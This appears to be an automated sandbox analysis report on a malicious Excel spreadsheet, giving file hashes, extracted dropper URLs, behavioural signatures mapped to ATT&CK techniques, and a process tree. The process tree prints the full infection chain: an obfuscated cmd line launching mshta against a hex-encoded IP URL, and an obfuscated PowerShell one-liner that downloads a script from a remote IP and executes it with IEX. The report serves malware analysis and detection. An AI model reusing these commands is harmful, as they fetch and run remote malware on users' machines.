edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878

General

Target

81f0a7a1ad8bf108c2648af767e77fcd.xls
Size

142KB
MD5

81f0a7a1ad8bf108c2648af767e77fcd
SHA1

9575d97617b4d5b9c22f5d2a0fbfbd3de1ad3de4
SHA256

edefd18d0580d8d25297bcddc843c3478c20f650b124224460ca9ae267529878
SHA512

6ed134fd7cba8ddd3c195f5e31a1ce996b8bc5403933a47a23666b483720eb140ca7a8ba5fda71961ef5c7125e9a5b5575f60fb57d3c48879df75bb1980c5967

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	216	3024	cmd.exe	51

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow	pid	Process
32	1920	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
2192	1920	WerFault.exe	58

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
3024	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	Process
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE
3024	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	Process	procid_target
PID 3024 wrote to memory of 1428	3024	EXCEL.EXE	54
PID 3024 wrote to memory of 1428	3024	EXCEL.EXE	54
PID 3024 wrote to memory of 216	3024	EXCEL.EXE	56
PID 3024 wrote to memory of 216	3024	EXCEL.EXE	56
PID 216 wrote to memory of 1920	216	cmd.exe	58
PID 216 wrote to memory of 1920	216	cmd.exe	58

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\81f0a7a1ad8bf108c2648af767e77fcd.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1428
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:216
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:1920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:1160
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1920 -s 1724
      4⤵
      Program crash
      PID:2192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:2012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1052

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 356 -p 1920 -ip 1920
1⤵
PID:3316

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3024-133-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

Filesize
64KB

Download
memory/3024-134-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

Filesize
64KB

Download
memory/3024-135-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

Filesize
64KB

Download
memory/3024-136-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

Filesize
64KB

Download
memory/3024-137-0x00007FF901590000-0x00007FF9015A0000-memory.dmp

Filesize
64KB

Download
memory/3024-140-0x00007FF8FF370000-0x00007FF8FF380000-memory.dmp

Filesize
64KB

Download
memory/3024-141-0x00007FF8FF370000-0x00007FF8FF380000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads